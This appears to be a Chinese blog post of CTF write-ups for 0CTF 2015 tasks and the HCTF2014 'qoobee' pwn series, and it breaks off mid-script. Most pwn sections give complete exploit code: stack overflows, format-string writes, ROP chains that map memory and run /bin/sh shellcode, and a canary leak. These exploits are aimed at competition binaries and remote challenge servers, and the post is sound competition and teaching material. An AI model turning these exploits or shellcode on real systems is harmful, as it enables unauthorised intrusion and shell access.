没怎么做alictf,做了0ctf。渣渣又被虐了……分享下writeup……

oldcrypto

Old crypto is not old enough to be broken. Notice: all in lowercase

阅读这个是一个多表替换的密码,i两边是对称的,所以可以把i的变化去掉。这个有点类似维吉尼亚,不过代换是通过矩阵,而且是对称的。wiki下应该是 博福特密码。 解法跟维吉尼亚密码一样,wiki说有卡西斯基试验或者弗里德曼试验,重复指数的代码找不到了就用的卡西斯基试验的方法

1
2
3
4
5
6
7
8
9
10
def search():
i = 0
with open('deletei') as f:
cipher = f.read().strip()
while i < len(cipher):
now = cipher[i:i+3]
find = cipher[i+3:].find(cipher[i:i+3])
if find != -1:
print cipher[i:i+3], find+3
i += 1

找出来发现很多很长的密文有重复且间隔都是20的倍数。所以猜测key是20位。 之后拆分成20组频率分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def findk(src, des):
for k in xrange(26):
if tr[k][ord(des)-ord('a')] == ord(src)-ord('a'):
return chr(k + ord('a'))
def key():
k = ''
with open('split2') as f:
for line in f:
fre = {}
line = line.strip()
for c in line:
if c in fre:
fre[c] += 1
else:
fre[c] = 1
sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True)
k += findk('e', sort_fre[0][0])
print k

都猜测出现最高的频率的是’e’,之后算出来的key = ‘wkaszhcslciyhwrusfun’。解出来发现不对,不过感觉但是最后fun应该是对的。之后通过查看解密的文章通过手工判断(文章最后是flag,而且用了20个o方便判断)解出key = ‘classicalcipherisfun’ flag:0ctf{classicalcipherisfun}

BabyPolyQuine

Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi

维基百科搜到一个代码通过

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):print a%b,
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):print a%%b,%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{The very moment of raising beginner’s mind is the accomplishment of true awakening itself}

PolyQuine

BabyPolyQuine 满足 All 5 correct required to get this flag

上面的代码在python3会出问题,尝试加上括号,不过python3会多打一个空行。所以想办法利用不打空行的打印函数,想到stdout.write()于是

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):__import__('sys').stdout.write(a%b)
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):__import__('sys').stdout.write(a%%b)%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{“Yields falsehood when preceded by its quotation” yields falsehood when preceded by its quotation}

x-y-z

-4.751373,-2.622809,2.428588;-4.435134,-3.046589,2.406030;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.656070,-2.560445,2.592991;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.788052,-2.661979,2.464709;-4.435134,-3.046589,2.406030 -4.656070,-2.560445,2.592991;-4.516017,-2.714652,2.570303;-4.751373,-2.622809,2.428588 -4.656070,-2.560445,2.592991;-4.751373,-2.622809,2.428588;-4.788052,-2.661979,2.464709 -4.611258,-2.777269,2.405960;-4.435134,-3.046589,2.406030;-4.751373,-2.622809,2.428588 -4.572725,-2.644557,2.333280;-4.603014,-2.680354,2.364417;-4.592222,-2.663824,2.351891 -4.571442,-2.773632,2.381504;-4.564917,-2.826000,2.397583;-4.611258,-2.777269,2.405960 ……

感觉应该是坐标点,加上题目x-y-z。猜测把点全部描出来会不会看到立体的flag。。。于是matlab画散点图(电脑不好真惨,把点去掉一部分画还是卡)

1
2
3
4
5
A=[
......
];
x=A(:,1);y=A(:,2);z=A(:,3);
scatter3(x,y,z,'.')

慢慢的旋转猜出flag

geo newbie

我的地理知识涨了不少

Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995

上去以后问你xxx是哪里的,用国家2字母简称表达。 前20轮给国家,21-70给地名,70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from zio import *
import re
import requests
import json
correct = {
'Palestine, State of' : 'PS',
'Norfolk Island':'NF',
'Alexandria':'EG',
'Antarctica':'AQ',
'Micronesia':'FM',
'Naples':'IT',
'Mount Olympus':'GR',
'Hyde Park':'GB',
'Georgia':'GE',
'Micronesia (Federated States of)':'FM',
'Korea (Republic of)':'KR',
'Holy See':'VA',
'Tanzania, United Republic of':'TZ',
'Macedonia (the former Yugoslav Republic of)':'MK',
'Volga':'RU',
'Lego':'DK',
'Virgin Islands (British)':'VG',
'Rickshaw capital of the world':'BD',
'Melbourne':'AU',
'Vancouver':'CA',
'Korea (Democratic People's Republic of)':'KP',
'Jiuzhaigou Valley':'CN',
'Georgia':'GE',
}
target = (('202.112.28.118',29995))
def geo(query):
url = 'http://maps.googleapis.com/maps/api/geocode/json?address=%s&sensor=true_or_false' % query
r = requests.get(url)
result = json.loads(r.text)
# print result
for com in result['results'][0]['address_components']:
if "country" in com['types']:
return com['short_name']
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
# level 1
for i in range(70):
buf = io.read_until(':')
country_name = re.findall(r'n(.+)?:', buf)[0]
# print country_name
# country = pycountry.countries.get(name=country_name)
# io.writeline(country_ascii2_dict[country_name])
if country_name in correct:
io.writeline(correct[country_name])
else:
io.writeline(geo(country_name))
# load
level2 = {}
with open('level2') as f:
level2 = json.loads(f.read())
buf = io.read_until(':')
# level 2
try:
for i in range(30):
question = re.findall(r'n(.+)?:', buf)[0]
if question in level2:
ans = level2[question]
else:
ans = raw_input()
ans = ans.strip().split(',')
for c in ans:
if c in correct:
io.writeline(correct[c])
else:
io.writeline(geo(c))
buf = io.read_until(':')
level2[question] = ans
except Exception, e:
with open('level2','w') as f:
f.write(json.dumps(level2))
print e
exit()
with open('level2','w') as f:
f.write(json.dumps(level2))
io.interact()

flag:0CTF{eNj0y_geography_l0v3_7hE_w0lRd}

peers

peers :P 一个pcap文件

打开发现是bt传输文件的流量。搜索下发现与Plaid CTF 2012 – Torrent类似。 不过有个坑,就是用到80端口,wireshark把它认成了HTTP请求,影响了服务解析。只要把enable service里HTTP给去掉就好了。

PS. 朋友圈看到有人把那个分片的传输数据剪出来拼起来了。给各位大神跪了。。。 peerliang

FlagGenerator

Can you generate the correct flag? flagen libc.so.6 202.112.26.106:5149 202.112.28.115:5149 Notice: Ubuntu 14.04.2 LTS

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH flagen

这个是个花式flag生成器。问题出再fun4,把字符转成数字例如把’a’转成’4’,就比如yufan变成yuf4n(其实是用户名已注册…)。其中把h变化为’1-1’。一个字符变3个字符就栈溢出了。。。

漏洞利用

利用那个扩展在输入里填一些hhh就能造成溢出。就是有个canary。

strcpy(dest, &src);
return *MK_FP(__GS__, 20) ^ v18;

注意在之后有一个从栈里src考数据到分配的对指针dest的调用。dest是函数传进来的,栈溢出的时候可以改到。 利用步骤

  1. 利用那个strcpy将GOT中check_stack_fail函数地址改掉绕过stack smash check,顺带将system地址覆盖GOT中atoi。(简单粗暴地爆破system地址)
  2. 栈溢出将eip控制到sub_804873E,直接利用atoi调用system(‘/bin/sh’)获得shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from zio import *
import struct
checkfail_got = 0x0804B01C
brute_system = 0xf75de190
# target = ('./flagen')
target = (('202.112.28.115', 5149))
copyto = ''
copyto += l32(brute_system)*10
p = ''
p += l32(ret)
p += copyto
p += 'a'*(48 -len(copyto)-4)
p += 'h' * 40 + 'a'*100
p += l32(checkfail_got + 4) #ebp
p += l32(0x804873E) # eip
p += l32(checkfail_got) # dest
cnt = 0
while True:
print cnt
cnt += 1
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('1')
io.writeline(p)
# io.gdb_hint()
io.writeline('4')
io.writeline('/bin/sh')
io.interact()

flag:0ctf{delicious_stack_cookie_generates_flag}

login

Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910

>

Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login

利用guest,guest123登陆。用户名用一个全局buffer存储,最后一位有个标志为初始设置成0。 之后可以通过fun2修改用户,而且可以修改到标志位。 然后可以用fun4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn fun4_sub_103B()
{
__int64 v0; // rax@1
__int64 strpt; // rsi@1
__int64 v2; // rax@4
__int64 v3; // rsi@4
char v4; // [sp+0h] [bp-220h]@1
char czUser; // [sp+10h] [bp-210h]@1
char czPassword; // [sp+110h] [bp-110h]@1
__int64 v7; // [sp+218h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v0 = strlen(&czPassword);
MD5((__int64)&czPassword, v0, (__int64)&v4);
strpt = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
strpt = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 16uLL) )
showflag_sub_FB3();
}
printf(&czUser, strpt); // formatstring attack
puts(" login failed.");
puts("1 chance remaining.");
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v2 = strlen(&czPassword);
MD5((__int64)&czPassword, v2, (__int64)&v4);
v3 = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
v3 = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 0x10uLL) )
showflag_sub_FB3();
}
printf(&czUser, v3);
puts(" login failed.");
puts("Threat detected. System shutdown.");
exit(1);
}

存在格式化字符串攻击

漏洞利用

程序可以调用两次format string之后就调用exit(1)退出了。并且Full RELRO,所以可能的方法就是修改到libc加载的函数指针。提供方便的是程序里有打印flag的函数。 首先,通过调试发现寄存器里存在地址相关的信息,可以通过%016lx打印出来,栈相关的地址信息也有。程序加载的基址可以得到。栈里buffer的内容可以自己控制。通过读GOT表也能算出libc加载的基址和相对偏移。 要先写个程序把libc的相对偏移算出来。

这边做的时候SB了看有提示ubuntu 14.04.2正好系统一样,就通过程序加载的地址直接算libc的基址,可能服务器有沙箱加载地址有变化结果本地可以远程一直不行……

之后使用printf就通过%n修改libc的函数指针,之后就等flag了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from zio import *
import struct
dist_text_libcbasew = 0x13acd000 - 0x3be000
# target = ('./login')
target = (('202.112.26.107',10910))
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('guest')
io.writeline('guest123')
io.read_until('Your choice:')
io.writeline('2')
io.writeline('a'*256)
io.read_until('Your choice:')
io.writeline('4')
io.writeline('%016lx%016lx%016lx')
io.read_until('Password: ')
io.gdb_hint()
io.writeline('1234')
baddr = io.read(16*3)
textbase = int(baddr[:16],16)
textbase = textbase-0x1490
retaddr = textbase - dist_text_libcbasew + 0x38
# gen p
sum = 0
p = ""
for i in range(8):
t = (fun >> i*8) & 0xff
t = 0x100 * i + t - sum
sum += t
p += '%0'
p += str(t)
p += 'x'
p += '%'
p += '%d' % (40 + i)
p += '$n'
p2 = ''
for i in range(8):
p2 += l64(retaddr+i)
io.writeline(p)
io.read_until('Password: ')
io.writeline(p2)
io.read_until('0ctf')
io.interact()

flag:0ctf{login_success_and_welcome_back}

Comment and share

整理题目的时候把HCTF2014 FINAL的qoobee全部做了一遍。 做的时候没有顺序,利用代码也没好好写。。。超级乱。。。看者见谅。。。

Qoobee

利用分析

其实程序还隐藏了一个-214号功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int \_\_cdecl fun214\_sub_80495A9()
{
FILE *v0; // ST34_4@7
int result; // eax@8
char v2; // \[sp+Bh\] \[bp-1Dh\]@3
signed int v3; // \[sp+Ch\] \[bp-1Ch\]@1
void *haystack; // \[sp+18h\] \[bp-10h\]@1
v3 = 0;
haystack = mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0);
printf("Oh! You can leave a message for author(the real QooBee) here: ");
do
{
if ( v3 > 150 )
break;
v2 = getchar();
if ( (\*\_\_ctype\_b\_loc())\[v2\] & 0x400 || (\*\_\_ctype\_b\_loc())\[v2\] & 0x800 )
*((_BYTE *)haystack + v3++) = v2;
}
while ( sub_8048CD0(v2) );
v0 = fopen("/tmp/qoobee/message_log", "a+");
fprintf(v0, "%sn", haystack);
fclose(v0);
if ( strstr((const char *)haystack, "ymkelwin") )
{
result = ((int (*)(void))haystack)();
}
else
{
printf("Received: %sn", haystack);
result = puts("Thank you!");
}
return result;
}

可以执行代码,需要构造全ascii的shellcode,字符串里要含有ymkelwin(yinmo kelwin?LEOC和kelwin不能说的秘密?)

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
'''
function -214
patched in qoobee2
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# mmap
payload += '-214n'
\# read shellcode to exec
payload += shellcode+'ymkelwinn'
\# print payload
io.write(payload)
io.interact()

Qoobee2

补上了上一个漏洞,去掉了执行代码,但是还是mmap了可执行的内存

利用分析

功能1中输入name存在溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int \_\_cdecl sub\_804970E(int a1)
{
int result; // eax@4
char v2\[12\]; // \[sp+1Ch\] \[bp-3Ch\]@1
int v3; // \[sp+28h\] \[bp-30h\]@1
int i; // \[sp+4Ch\] \[bp-Ch\]@1
puts("Now input the information for your QooBee Dragon:");
printf("QooBee Name: ");
\_\_isoc99\_scanf("%s", v2); // stack overflow
printf("QooBee Age: ");
\_\_isoc99\_scanf("%d", &v3);
for ( i = 0; v2\[i\]; ++i )
*(_BYTE *)(a1 + i + 20) = v2\[i\];
result = a1;
*(_DWORD *)(a1 + 32) = v3;
return result;
}

利用-214功能中的mmap开辟的可执行缓冲区执行shellcode。 写exp的时候用了ret2libc的方法,没有直接用上一种方法的shellcode

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
name stack overflow
patched in qoobee3
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# shellcode tiny sh
shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# function -214 mmap
payload += '-214n'
payload += '9999999n'
\# function 1
payload += '1n'
\# junk
payload += 'x00' + 'x90'*59 #2222
\# ebp
payload += l32(0x804b7e0)
\# eip read
payload += read_got
\# read ret to 0x80000004
payload += l32(0x80000004)
\# read args
payload += l32(0x0)
payload += l32(0x80000000)
payload += l32(0x80)
payload += 'n'
\# input age
payload += 'aaaan'
\# read shellcode to exec
payload += shellcode
io.write(payload)
io.interact()

Qoobee3

修补了上个漏洞

利用分析

打工输入指令过滤存在问题,可以写栈内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int \_\_cdecl fun5\_sub_8048F93(int a1)
{
int result; // eax@14
signed int i; // \[sp+0h\] \[bp-58h\]@2
signed int j; // \[sp+0h\] \[bp-58h\]@5
signed int k; // \[sp+0h\] \[bp-58h\]@9
int v5; // \[sp+4h\] \[bp-54h\]@1
unsigned int v6; // \[sp+8h\] \[bp-50h\]@1
int op; // \[sp+Ch\] \[bp-4Ch\]@8
int v8; // \[sp+10h\] \[bp-48h\]@1
int v9; // \[sp+14h\] \[bp-44h\]@1
int v10; // \[sp+18h\] \[bp-40h\]@1
int v11; // \[sp+1Ch\] \[bp-3Ch\]@1
int v12\[4\]; // \[sp+20h\] \[bp-38h\]@3
int v13\[4\]; // \[sp+30h\] \[bp-28h\]@3
char *format; // \[sp+40h\] \[bp-18h\]@1
int v15; // \[sp+44h\] \[bp-14h\]@1
int v16; // \[sp+48h\] \[bp-10h\]@1
int v17; // \[sp+4Ch\] \[bp-Ch\]@1
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v5 = 0;
v6 = 0;
format = "0. Moving bricks: $%d/1h (spend %d Vit)n";
v15 = (int)"1. Sell Meng: $%d/1h (spend %d Vit)n";
v16 = (int)"2. Capture the Flag: $%d/1h (spend %d Vit)n";
v17 = (int)"3. Pwnning: $%d/1h (spend %d Vit)n";
if ( a1 )
{
for ( i = 0; i <= 3; ++i )
{
v12\[i\] = get_randnum(75, 150);
v13\[i\] = get_randnum(50, 150);
}
for ( j = 0; j <= 3; ++j )
printf((&format)\[4 * j\], v12\[j\], v13\[j\]);
while ( 1 )
{
printf("Which one you want QooBee to work(99 to leave)? ");
op = safe_readint();
if ( op == 99 )
break;
printf("How long for this one? ");
*(&v8 + op) = safe_readint(); // write dowrod in stack
// patched in qoobee4
}
for ( k = 0; k <= 3; ++k )
{
v6 += v13\[k\] * *(&v8 + k);
v5 += v12\[k\] * *(&v8 + k);
}
if ( *(_DWORD *)(a1 + 16) < v6 )
{
result = puts("5555...Your QooBee's vit is too low..He need have a rest!");
}
else
{
*(_DWORD *)(a1 + 16) -= v6;
*(_DWORD *)a1 += v5;
printf("Your baby earned $%d..n", v5);
result = printf("Total Money: $%d !n", *(_DWORD *)a1);
}
}
else
{
result = puts("You need adopt a QooBee Dragon first!");
}
return result;
}

写入ROP链 ROP调用mmap read之后执行shellcode

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
'''
function 5 work
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.read_until('Your Choice:')
\# work
io.writeline('5')
payload = \[
\# ebp
l32(0x21000000),
\# eip jmp pr
pr,
\# a1
l32(0x80000000),
\# mmap
mmap_got,
\# p7r
p7r,
\# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
\# read
read_got,
\# jmp shellcode
l32(0x21000000),
\# read args
l32(0), l32(0x21000000), l32(0x100),
\]
print payload
i = 0
\# io.gdb_hint()
for dword in payload:
io.read_until('Which one you want QooBee to work(99 to leave)?')
io.writeline("%d" % (18+i))
io.read_until('How long for this one?')
io.writeline("%u" % struct.unpack('<i', dword))
i += 1
io.writeline('99')
io.writeline(shellcode2)
io.interact()

Qoobee4

利用分析

fun1的输入description栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int \_\_cdecl sub\_8048BC8(int a1)
{
int v1; // ST28_4@1
int v2; // ecx@1
int result; // eax@1
char src; // \[sp+1Eh\] \[bp-2Ah\]@1
int v5; // \[sp+3Ch\] \[bp-Ch\]@1
v5 = *MK\_FP(\_\_GS__, 20);
printf("Description(%d bytes): ", 30); // stack overflow
v1 = safe_read(&src, 100);
memcpy((void *)(a1 + 36), &src, v1);
*(_BYTE *)(a1 + v1 + 36) = 10;
*(_BYTE *)(a1 + v1 + 1 + 36) = 0;
result = *MK\_FP(\_\_GS__, 20) ^ v5;
if ( *MK\_FP(\_\_GS__, 20) != v5 )
\_\_stack\_chk_fail(v2);
return result;
}

先利用fun2的printf漏洞(见Qoobee6)读取canary 注意一次只读100 bytes,分两次执行

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
'''
description stack overflow
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
fun1 = l32(0x08048D08)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('%11$08x')
\# show info
io.writeline('2')
io.read_until('Description: ')
canary = io.readline().strip()
print 'canary:',canary
canary = int(canary,16)
canary = l32(canary)
print 'canary:',canary
\# io.gdb_hint()
\# p1
io.writeline('1')
io.writeline('1')
io.writeline('1')
payload = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# mmap
mmap_got,
# p7r
p7r,
# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
# ret to fun1 again
fun1,
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload:
p += dword
print 'payload1:', len(p)
io.writeline(p)
\# p2
io.writeline('1')
io.writeline('1')
payload2 = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# read
read_got,
# jmp shellcode
l32(0x21000000),
# read args
l32(0), l32(0x21000000), l32(0x100),
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload2:
p += dword
print 'payload2:', len(p)
io.writeline(p)
io.writeline(shellcode2)
io.interact()

Qoobee5

利用分析

比赛时候做的。。。和队友组合的代码,很乱很乱请见谅。。。 打游戏的方法。。利用printf漏洞刷钱。之后先升级,再通过石头剪刀布游戏的逻辑跑出flag…全部跑完要5分钟…… 比赛后面发现printf可以对age指定的任意内存写入……想想可以直接改等级然后打游戏会更快点……

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
Created on 2014年11月29日
@author: yf
'''
from zio import *
import re
import time
io = zio('./qoobee4')#, print\_write=False, print\_read=False)
\# io = zio(('10.11.12.13',1415), print\_write=False, print\_read=False)
lose_dic = \['scissor','rock','paper'\]
right_dic = \['paper', 'scissor','rock'\]
divset = \[17, 16, 18, 19, 21, 22,23,24,25,26,27,28,29,30, 32 , 33 , 34 , 35 , 35 , 36 , 37 , 38 , 39 , 40\]
rightset = \[\]
flag = ''
def losenum(modnum):
return (modnum-1+3)%3
\# def testdiv(modnum):
\# # while True:
\# io.read_until('Your Choice: ')
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# for i in divset:
\# io.writeline('%d' % i)
\# buf = io.read_until('n')
\# if 'lose' in buf:
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# else:
\# print i
\# pass
pattern = re.compile(r'(d+)!',re.M)
def checkround2():
log('enter checkround')
rst = {}
io.read_until('Select one:')
